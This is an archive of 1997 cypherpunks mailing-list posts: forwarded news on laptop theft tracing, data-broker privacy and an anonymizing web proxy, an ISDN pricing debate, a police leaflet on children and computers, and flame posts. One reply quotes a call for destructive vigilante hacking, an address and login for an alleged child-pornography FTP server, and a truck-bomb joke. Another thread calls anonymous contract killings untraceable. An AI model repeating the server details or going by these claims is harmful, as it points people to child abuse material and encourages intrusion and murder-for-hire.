|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 11 Jun 1997 12:10:52 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Laptop theft [CNN]
Message-ID: <199706110335.WAA06750@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                                 PC, PHONE HOME
>                                        
>       Laptop
>      
>   Industry aims to stop theft of laptops
>   
>      June 10, 1997
>      Web posted at: 11:45 p.m. EDT (0345 GMT)
>      
>      From Correspondent Greg Lefevre
>      
>      SAN FRANCISCO (CNN) -- Expensive, compact and frequently out and
>      about, a laptop computer makes an attractive target for thieves.
>      
>      But the computer industry has devised some ingenious ways to counter
>      theft, including invisible software that knows when the computer is
>      in trouble.

[remainder deleted]


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 11 Jun 1997 12:11:35 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Personal info regulation [CNN]
Message-ID: <199706110337.WAA06786@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                COMPANIES AGREE TO ADDRESS CYBER-PRIVACY CONCERNS
>                                        
>       graphic
>      
>      June 10, 1997
>      Web posted at: 7:34 p.m. EDT (2334 GMT)
>      
>      WASHINGTON (AP) -- Hoping to stave off strict government curbs,
>      Lexis-Nexis and seven other companies that sell detailed personal
>      information about Americans agreed Tuesday to voluntary limits to
>      minimize privacy intrusions.
>      
>      But consumer advocates at a Federal Trade Commission hearing
>      insisted that mandatory rules were needed to crack down on growing
>      abuses by electronic data companies, especially because many smaller
>      companies aren't part of the agreement.

[remainder deleted]


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 11 Jun 1997 10:53:46 +0800
To: cypherpunks@toad.com
Subject: LPWA
Message-ID: <Pine.LNX.3.94.970610223456.6818L-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



http://www.wired.com/news/technology/story/4375.html

Covering Your Tracks via a Helping Hand
by Michael Stutz

6:02pm  10.Jun.97.PDT Ironically, when it comes to privacy on the
Net, you often have to turn to middlemen for help.

In the latest in a long string of software and services that act
as intermediaries for two parties when at least one of the
parties wants anonymity, a technology demonstration was announced
by Lucent Technologies on Tuesday. The Lucent Personalized Web
Assistant enables users to maintain Web anonymity even on sites
that require email registration. The LPWA acts as an anonymous
proxy server, handling HTTP requests between a user and a Web
site so that the user remains anonymous, said Alain Mayer, one of
LPWA's developers. LPWA also filters the HTTP protocol so that no
unwanted information goes out from the user, he said.

Unlike the Anonymizer, a popular anonymous Web browsing service,
it cannot perform temporary, nonproxy, anonymous Web sessions,
but it does allow for anonymous accounts on Web sites that
require it. "It computes on your behalf all kinds of username and
passwords you'll need at different Web sites, in such a way that
they will appear completely unrelated. On top of that, it will
assign you a different email address" for each site that is
visited.

The problem, Mayer says, is that many commercial Web sites
require online registration before you can access their
information. Besides the fact that many people do not like this -
and choose not to visit those sites - this poses a number of
logistical problems. "One problem is that you have to remember
all the username and passwords that you give out the next time
you come back," said Mayer. "And if you always use the same set
of username and passwords, these sites can potentially can get
together and see wherever you're going and trace you down."

The goal in designing LPWA was to address "where convenience and
privacy can go hand-in-hand," Mayer said. "If you design privacy
in software, it entails that you have to give on the convenience
side. Our main goal was to combine these two possibly
antagonistic goals."

Currently, Lucent stores no information about LPWA users, since
the anonymous usernames and passwords are generated by a
cryptographic function. When a user connects to a site that
requires a login, "\U" is entered for a username and "\P" for a
password; LPWA then interprets this and supplies the
cryptographically generated username and password to the site.
Unlike some anonymous remailers, which store translations
of users on hard disks, nothing would be retrieved from an LPWA
should it be compromised by a government or other entity.

But could commercial sites ban LPWA access by their own means?
Mayer doesn't think so. "Potentially, a Web site can always
refuse email from certain domains," he said, "but we can always
find different domains, not just lpwa.com. What we hope is that
commercial Web sites don't see us as an enemy but as a friend,
because if users feel more secure in having certain things
protected that they feel strongly about, then they also hopefully
will feel better about giving certain other demographic
information that the Web site can use. If this system gets
popular, both sides will gain."

While LPWA is now online, it should just be considered a demo;
future versions may evolve into a commercial product that
corporations could use with their firewalls, or ISPs could
provide as an added benefit. LPWA is built on top of the popular
Apache server software and runs on Unix - so it is plausible that
in the future, individuals will run it on their own machines.
"It's technically feasible to have this run on your laptop," said
Mayer, "and if you're willing to live with the performance
degradation you can even have it connect to another one and
another one, so you don't have to trust anybody."

Justin Boyan, author of the Anonymizer, imagines that schemes
like chains of proxies are conceivable, but you'll always have to
trust the community you are connected with. "It is a matter of
trust. It's an issue of, 'Do you trust the people or the
organization behind the middleman?' [LPWA] does require you to
trust Lucent if you use it, and it requires you to trust
anonymizer.com if you want to use us."

But why trust Lucent? Mayer thinks that's a very good question.
"You shouldn't," he said. "This is only a demonstration, and
hopefully will generate enough interest that this will be put in
places that are not in our hands. We don't even want to have this
responsibility - it's not our business. Do you trust your ISP?
That's a question you have to ask yourself anyway."

Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 11 Jun 1997 13:42:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
Message-ID: <3.0.32.19970610224326.0075855c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




I really don't think that se7en just wants to censor the kiddie porn sites;
I think he is on a personal vendetta (like McVeigh).   He didn't call for
anyone to support legislation and propose new, tough laws, but called for
hackers to go after this particular target.    On the net anyone is prey,
remember;  kiddie porn dealers not exempted.

It's moot to discuss whether eliminating a few thousand digital images will
make any difference on the availability/market desireability of these
pictures (I expect these are all backed up somewhere, anyway, so destroying
them probably wouldn't actually make much difference, but just anger the
owners.)   How many photos of real children arranged into sexual poses or
imposed upon to perform sexual acts does it take to satisfy an addict?
How many photos which are not duplicates do these people actually possess,
and how many more do they seek to obtain?   Is it the number of them, or
the thrill of the "new"?   That a certain number of these photos are in
circulation may not be so important as the fact that they are "new" (to the
person looking to get them).   This means that having free circulation of
large numbers of images may be beside the point (I am speculating and
calculating based on almost total ignorance of the psychology of this type
of individual).

If these pedophiles just want to fantasize, I would offer they could get a
package of Macromedia Freehand or Director and Photoshop and create their
own.   But that probably wouldn't be satisfactory to them.  I expect there
is something in the qualities and character of real children which draw
them.   

But I digress.  The subject was hacking at your own chosen target.   Some
people hack children's innocence; some people hack the hackers.  Que sera'
sera'.

    ..
Blanc



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 15:09:57 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: [Noise, California only] Good deal on ISDN access
In-Reply-To: <199706110355.FAA10800@basement.replay.com>
Message-ID: <3.0.1.32.19970610232831.006c26e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 PM 6/10/97 -0700, Lucky wrote:
>Assuming you can get 56k over your POTS line. Less than 20% of US
>households can even link up at 28.8k. 

Connecting at 28.8 is a totally different game - it's using
pure analog modems taking advantage of the relatively low noise
of most phone lines, which tend to be either short distances or
carried over T1 local loops.  It's close to the theoretical limit
of what you can get, assuming Gaussian noise distributions,
and of course 33.6 is a lot closer  :-)

The 56kbps cheats, taking advantage of the fact that the
noise on a digital line isn't Gaussian, and is mostly predictable.
It only works from the digital end (an ISP's T1) to the analog end,
and not the other way around, but for most people, that's fine -
anybody who's moving a lot more than 28.8kbps outbound probably
wants more than 56kbps anyway, and meanwhile it's a potentially big win
for the average data consumer.

>ISDN is a clean solution that will work over just about any old wire.
Actually, it's a lot pickier; the line needs to be able to carry
192kbps of digital signal to haul the 2*64+16+overhead kbps of bits.
And if you're too far away, you lose, unless the phone company
throws in a lot of expensive repeater equipment.  On analog, if you're
too far away, your signal just degrades and you get lower bit rates.
But ISDN does work for a lot of people.

>And now it has become rather inexpensive.
Cost and price are totally different questions; your phone company
may vary along with your mileage.  Some places think it's a 
high-value business service and charge big bucks for it;
other phone companies think you're getting 2.25 phone lines
and charge you for 2.  Some, like PacBell, charged a reasonable
monthly rate, assumed most of the use was business and wanted
to stimulate market growth, so they made it free at night,
not realizing what "free at night" means to computer users :-)
We'll see how long their cheap tariff lasts.

>I see little reason to stick with analog. YMMV.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 05:49:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <199706102139.XAA24563@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:
>At 4:02 AM -0700 6/10/97, Anonymous wrote:
>>Not likely, but for another reason.  Assuming you had the money to take
>>out your neighbor, it's going to be fairly obvious who did it.  (How many
>>neighbors do you have?  Pretty short list of suspects.)
>
>Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
>hardly matters who the "suspects" are, as nothing is provable. (Assuming no
>implicating ephemera are left lying around on disk drives....)

People do not just go kill their neighbors for no reason; there is going
to be some dispute or history of antagonism between them.  Investigators
almost always start by questioning the usual suspects.

The technology may be perfect, but human error will get you every time.


>By the way, this is not really Bell's "assassination politics," this is
>just anonymous contract killings, known about to some of us since Chaum's
>work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.

We know Bell didn't invent it, but who is really eager to go to the
prosecutors in Washington and tell them "It was all my idea."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 11 Jun 1997 13:46:30 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [Noise, California only] Good deal on ISDN access (fwd)
Message-ID: <199706110512.AAA07348@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: Lucky Green <shamrock@netcom.com>
> Subject: Re: [Noise, California only] Good deal on ISDN access

> Assuming you can get 56k over your POTS line. Less than 20% of US
> households can even link up at 28.8k. ISDN is a clean solution that will

That is an interesting stat, I have considerably better luck than this.
I would guess about 80% of my customers and people I know using them get
full bandwidth most of the time. I use 33.6 on SSZ and everyone of my users
with this get consistent speed. My dedicated lines seem quite stable over
time as well.

I prefer my ISDN over a normal modem.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 13:23:38 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <199706110513.AAA05601@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote:
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 

                \=/,         _-===-_-====-_-===-_-==========-_-====-_
                |  @___oo   (                                        )_
      /\  /\   / (___,,,}_--=                                          )
     ) /^\) ^\/ _)        =__                                         )
     )   /^\/   _)          (_  This space intentionally left blank.  )
     )   _ /  / _)            (                                        )
 /\  )/\/ ||  | )_)            (_                                     )
<  >      |(,,) )__)             (                                     )
 ||      /    \)___)\             (_                                 __)
 | \____(      )___) )___           -==-_____-=====-_____-=====-___==
  \______(_______;;; __;;;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 13:39:52 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <199706110517.AAA05648@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote:
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 

                \=/,         _-===-_-====-_-===-_-==========-_-====-_
                |  @___oo   (                                        )_
      /\  /\   / (___,,,}_--=                                          )
     ) /^\) ^\/ _)        =__                                         )
     )   /^\/   _)          (_  This space intentionally left blank.  )
     )   _ /  / _)            (                                        )
 /\  )/\/ ||  | )_)            (_                                     )
<  >      |(,,) )__)             (                                     )
 ||      /    \)___)\             (_                                 __)
 | \____(      )___) )___           -==-_____-=====-_____-=====-___==
  \______(_______;;; __;;;






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 11 Jun 1997 13:14:28 +0800
To: cypherpunks@toad.com
Subject: Trolling for Children,  Cypherpunks, or LEA's?
Message-ID: <199706110458.AAA14467@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



se7en, Grand Protector of "Us", wrote:
> 
> When I stopped lurking on this list and became a
> regular poster, one of the things I quickly became known for was my
> on-line harrassment of those who hurt us as a group.

  Thank you for your harrassment of the victims of your harrassment
on my behalf.
 
> Many old-timers here will remember my harrassment of a
> a worldwide volunteer force that searched out indecency 
> on the net

  So it is a good thing to harrass people who do this? Thanks,
I'll remember that.
  
> As many of you know, I make a living as a professional speaker, with
> federal government, military and intelligence communities as my core
> audience.

  I am certain that you tell them what the federal government and 
military think they need to hear an are well received.

> I recently went off on a serious rant with three different audiences on a
> topic I felt was seriously exaggerated/over-hyped/fearmongered/bullshit.

  But you would never do that again, right?

> some idiot from an anonymous address
> sent me a child porn .jpg file. Trust me when I say it was child porn

  Nope. Afraid I like to check facts for myself.

> I looked around on IRC on #teensex, and found:
> #preteensexpics
> #littlegirlsex
> #100%preteensexpics
> #100%preteensexfuckpics
> #!!!!!!preteensexpics

  I looked too, but didn't find it.

> I joined several of these channels and found that
> upon entering each one, I was auto messaged about special kiddie porn
> servers dedicated to trading, e.g.,
> PreTeenSexPics - FTP at 130.67.80.230 l/p ncc/ncc [|]

  I couldn't confirm this myself. Looked like pretty normal files 
to me.

> I started logging the channels. I wanted to silently gather IP addresses
> and email addresses. These people needed some genuine hacker terror.

  And to think that a short time ago, they didn't even exist, 
according to your rants.

> I logged out of IRC, and then went to USENET, in such rooms as:
> alt.binaries.erotica.children.pre-teen

  I couldn't find this "room" either. Are you sure this stuff
doesn't exist only on your computer?
 
> Several messages also pointed to some WWW sites, such as:
> http://www.nudebooks.com

  Did you check it out? I did. 
  I saw a lot of art. I didn't see any age discrimination. Maybe
they need to be harrassed.
  Perhaps you could start by harassing the naturalists who have
pictures of their families taken in the buff because they don't
seem to realize that their bodies are vile, disgusting things.
  Then you could harrass those who document the photography of
Lewis Carroll, who took pictures that aren't acceptable to 
present day moralists because our children now live long enough
that we can stunt their sexual growth without dire consequences
for survival of the species.

> Well, this whole situation is unacceptable. First, I would like to
> apologize to all those who have hired me in the past, and were subject to
> my emotional rants about how the whole subject was bullshit and not real.

  But now we should liste to your emotional rants about the whole
subject demands that we harrass people over it? Right.

> I know this type of activity is
> not tolerated by us. 

  Which type? The type of activity where naturalists take pictures
of themselves and their families? The type of activity where those
who celebrate the human physique in their art don't use an artificial
cut-off date to decide when art becomes obscenity?

> I have given you enough information above to start
> identifying the players in this and the places they congregate.

  No you haven't.

> Yes, I am advocating malicious, destructive hacking activity against
> these people. 

  And this time you're not *wrong* like you were before, right?

> These people need to be eradicated from the Internet.

  I'll rent the Ryder truck, you buy the fertilizer. We'll only kill
the "guilty," right?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 08:10:03 +0800
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] e$
Message-ID: <199706102345.BAA12345@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. Mayonnaise is a pimply dweeb sitting at a computer chortling at his own 
imagined cleverness.

   . o       c ,
   `'#v-- --v#`' Timothy C. Mayonnaise
    /'>     <`\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 19:02:45 +0800
To: cryptography@c2.net
Subject: ADDENDUM: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970611033313.03190db4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Please refer to the official announcement at 
	http://www.pgp.com/newsroom/cpunk-info.cgi
in case any of the PGP-related details change....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 12:09:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Noise, California only] Good deal on ISDN access
In-Reply-To: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>
Message-ID: <199706110355.FAA10800@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green sez:

> Given that a good number of people on this list live in CA, this might be
> of interest to you. It certainly was to me. PacBell is selling flat rate 2B
> ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
> this is still much cheaper than what I paid before. You might want to think
> hard before you buy at new 56k modem that in all likelihood won't be able
> to give you 56k anyway. And no analog modem will ever give you 128kbps.

But don't they still charge you a penny a minute?  That adds up fast, and
would probably cost you more than your $50 internet access fees.  Plus the
cost of ISDN service...  All told, you're looking at $150 or so per month.

When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
month.  Not as fast, but a much better price/performance ratio.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 11 Jun 1997 22:57:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
In-Reply-To: <v03102818afc32f6b5b30@[207.167.93.63]>
Message-ID: <19970611124928.21802.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Vladimir Z. Nuri wrote:
> TCM
> >Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
> >hardly matters who the "suspects" are, as nothing is provable. (Assuming no
> >implicating ephemera are left lying around on disk drives....)
> >
> >By the way, this is not really Bell's "assassination politics," this is
> >just anonymous contract killings, known about to some of us since Chaum's
> >work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
> >
> >I may sound touchy on this issue, but I'm seeing more and more articles
> >here and relayed from outside essentially giving Bell the credit for
> >inventing these kinds of markets, when in fact he's a relative latecomer.
> 
> why be bashful, timmy? go ahead and say it. 
> "I invented the concept of anonymous contract killings via cyberspace, 
> and I'm quite proud of this, and it annoys me when people don't give me 
> proper credit"

And an incredible insight it was, also!  Imagine the mind it took to 
combine the notion of anonymity on the net with contract killings.  
One boggles at the creativity, the depth, the sheer GENIUS.  We 
shouldn't worry too much about his petty desire to be remembered for 
his discoveries.

Of course, Bell did ADD a significant wrinkle, and deserves credit 
for his contributions.  May and Bell.  Names that will be 
remembered.  

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fromtheroad@mapquest.com (From The Road)
Date: Thu, 12 Jun 1997 09:55:36 +0800
To: cypherpunks@toad.com
Subject: Mapquest From The Road
Message-ID: <199706111324.HAA10735@cabeza.mapquest.com>
MIME-Version: 1.0
Content-Type: text/plain



MapQuest is pleased to present:
==========================================================
                       From The Road
             http://www.mapquest.com/fromtheroad
                       June 9, 1997
==========================================================

>From The Road is a members only newsletter published by MapQuest. 
Issues will consist of a brief email like this, linked to a Web 
version of FTR.  

Check out FTR on the Web at: http://www.mapquest.com/fromtheroad 
or read on.

At MapQuest, we are strong believers in online communities, and 
have long hoped for a way to introduce our members to each other. 
We hope to accomplish that by sharing the best MapQuest stories 
with all of our 1,000,000+ members. 

Each issue will contain the following regular features:

==============================

*NEW FEATURES DETOUR*  There's more to MapQuest than meets the eye.

Do you love Paris in the spring? Let us help you find your way 
around the highlights of Europe. 

==============================

*FROM THE DRIVER'S SEAT*  MapQuest member stories from TRW 
(the real world).

This issue's story From The Driver's Seat story takes us to the 
freeways of Southern California.  Read how one member uses 
MapQuest on the job. You don't want to be late for this meeting!

==============================

*MAP SIDE STORY*  Personal maps and the stories behind 'em.

Here's a unique CONTEST for all the avid mapmakers out there who 
have created personal maps. We want to show off the best 
personalized maps and the stories behind them. If your map really 
has personality, let us know. All of our winners will receive a 
prize from MapQuest.

==============================

*NEWS AND VIEWS*  A friendly fireside chat, only without the 
fireplace.

Join us for a moment of commentary as we discuss the growth 
of online travel services and the benefits to you, the consumer.

==============================

*THE WINNER'S CIRCLE*  Enter our Road Trip From Hell contest!

Tell us about your worst driving trip ever and you could WIN 
great prizes such as a weekend in San Francisco! Just click and 
enter at http://www.mapquest.com.

We hope you enjoy From The Road and decide to share your 
stories with us. 

Bon Voyage!

==========================================================
If this newsletter was passed on to you and you wish to subscribe, 
simply become a MapQuest member by visiting http://www.mapquest.com. 
A click on "Personalized Maps" will take you to our free member 
registration page. Each MapQuest member automatically receives 
>From The Road. 

If you do not wish to receive From The Road email announcements you 
may unsubscribe by sending us an email at fromtheroad@mapquest.com, 
with the subject line of the email reading: UNSUBSCRIBE. Even if you
unsubscribe, you will remain a MapQuest member. No hard feelings. ;-)
==========================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 12 Jun 1997 00:18:44 +0800
To: cypherpunks@toad.com
Subject: Feds have lost battle against encryption
Message-ID: <v0300785fafc47bebdb24@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



There is an editorial in the June 11 San Jose Mercury News titled, "Feds
have lost battle against encryption".  It mentions the Sun/Elvis+ deal, and
representative Goodlatte's bill.  It says, "Government warriors should pack
up their rusty cannons, admit that they've lost this battle, and learn to
live in the 1990s."  It speaks favorably of increased sentencing for
criminal use of encryption.  It says the bill does not go far enough in
removing export controls.

Try http://www.sjmercury.com for a copy.  (I haven't looked, so no guarantees.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 00:23:40 +0800
To: cypherpunks@cyberpass.net
Subject: [off-topic] LEA announcement about children & computers (long)
Message-ID: <199706111615.JAA15594@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Cpunx:  For your amusment - nicked from the local Telco web site.  I
especially enjoy the link between role playing games, satanism and
computing.

 -----------------------------------------------------------------------
CHILDREN AND COMPUTERS:

THE HIDDEN DANGER

Dear Parent:

With the never ending development of computer technology and as an
increasing number of people become computer literate, it is much more
likely that our children may be victimized or exploited in a computer
environment. If your child has a home computer (or access to someone
elseÆs
computer), especially those equipped with a modem, then please take the
time to review this guide and become familiar with the behavioural warning
signs. It will only take a few minutes and may prevent devastating
problems
in the future. Keep in mind, however, that no matter how ôawareö you are
of
these warning signs, the most important safeguard is to monitor the
contacts that your children are making in this unrestricted environment
and
regulate their computer related activities. In addition, do not allow your
children to isolate themselves from family or friends by engaging in
solitary computer activities for hours on end. A computer should never
become a substitute for social interaction.

1984 Government Study

TodayÆs children are being weaned on video games and quickly move to
computers. Society has high hopes for this technically literate
generation,
but the proliferation of microcomputers and computer literacy also means
that more and more assets will be stored on computer systems and the
community of potential computer criminals will increase astronomically.

Tips for Safe Computing


PARENTS

Please advise your children to observe the following safety rules whenever
they are ôon-lineö. Remind them that no matter how safe and/or friendly
the
BBS seems (and this includes the major services as well as the Internet),
there is always a potential for danger.

They Should:

òNever give out any personal information about themselves - particularly
full names, addresses, phone numbers, financial information, etc. to
anyone
they meet on line. 

òAvoid responding to anyone who leaves them obnoxious,
sexual or menacing E-mail. They should not become involved in public
ôFlameö sessions as they have no idea who they are dealing with and what
access an individual may have to their account information. 

òReport all electronic harassment and/or abuse to their parents. As
parents, you should notify the SYSTEM OPERATOR (SYSOP) of the problem. If
the SYSTEM OPERATOR does not give you satisfaction in stopping this abuse,
the police should be notified.

òNever set up face to face meetings alone with anyone they have
met on the BBS. They should always take someone with them and always meet
in a public place. 

òNever have someone come to their house until they get to know them and
until they are satisfied that they have given accurate personal
information about the individual.

òSafeguard all credit card and telephone card numbers. They should pay for
BBS services by money order whenever practical.

PARENTS:

Notify the police of all attempts by adults to set up meetings with your
children. This is by far the most dangerous situation for children and
should be prosecuted when appropriate.

ôThe modern thief can steal more with a computer than with a gun, and
tomorrowÆs terrorist may be able to do more damage with a keyboard than
with a bombö.

National Research Council 
Washington, D.C. 

Some Child Behavioural Warning Signs:

Computer Addiction 

òWithdraws from friends, family etc. May lose interest in social
activities. 

òUse of new (unusual) vocabulary, heavy with computer terms,
satanic phrase or sexual reference (or sudden interest in related posters,
music, etc.) Look for related doodling or writing. òUse of words such as:
hacking, phreaking or any words with ôphö replacing ôfö. 

òLack of interest in self and appearance or indications of lack of sleep,
(which might indicate late night modem-play).

Other Potential Danger Signs

òComputer and modem running late at night (even when unattended). 

òStoring of computer files ending in: GIF, JPG, MPG, AVI, MOV, BMP, TIF,
PCX, DL, GL or unusual CDÆs; these are video or graphic image files and
parents should know what they illustrate.

òNames on communications programs which seem satanic or pornographic. 

òObsession with fantasy adventure games, (Dungeons and Dragons, Trade
Wars, Sexcapade, etc).

òUse of computer to scan or run telephone numbers or credit card numbers,
(look for ôsequential diallingö programs).

What you can do to Protect your Children 

Talk to your children about their use of the computer

Know What They are Doing


òIf possible, keep the computer in a ôcommonö area of your home, such as a
family room or den. 

òYou decide if your child has a legitimate need for a modem. 

òIf a modem is being used, control the activity by monitoring times
used and numbers dialled. 

Closely Monitor your Long Distance Bill

òIf the computer is left running unattended, check the screen. 

òIf it is showing a series of four digit numbers, the computer is trying
to identify calling card ôPINö numbers.

òIf it is showing a series of sixteen digit numbers, the computer is
trying to validate credit card numbers.

òIf you are not computer literate, make sure you at least learn the basics
about computers, take a course or have your child teach you.

Courtesy of: 
Chief Alfred O. Olsen 
Warwick Township Police Department 
Lititz, Pennsylvania, USA 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 12 Jun 1997 00:41:08 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <3.0.32.19970611092701.00683c54@best.com>
MIME-Version: 1.0
Content-Type: text/plain



reproduced under fair-use:

>                     PC, phone home
>
>                     Industry aims to stop
>                     theft of laptops
>
>                     June 10, 1997
>                     Web posted at: 11:45 p.m. EDT (0345 GMT) 
>
>                     From Correspondent Greg
>                     Lefevre 
>
>                     SAN FRANCISCO (CNN) -- Expensive, compact and
>                     frequently out and about, a laptop computer makes an
attractive
>                     target for thieves. 
>
>                     But the computer industry has devised some ingenious
ways to
>                     counter theft, including invisible software that
knows when the
>                     computer is in trouble. 
>
>                     "As soon as the thief plugs that machine into a phone
network, it
>                     will phone home," said John Livingston, chief
executive of
>                     CompuTrace Service. 
>
>                     The call goes to a Canadian office
>                     that in turn phones the cops. So far,
>                     it has a 100 percent recovery rate. 
>
======  100% of WHAT?  Systems with it installed which are stolen?   How
would you know what systems do NOT call in?  
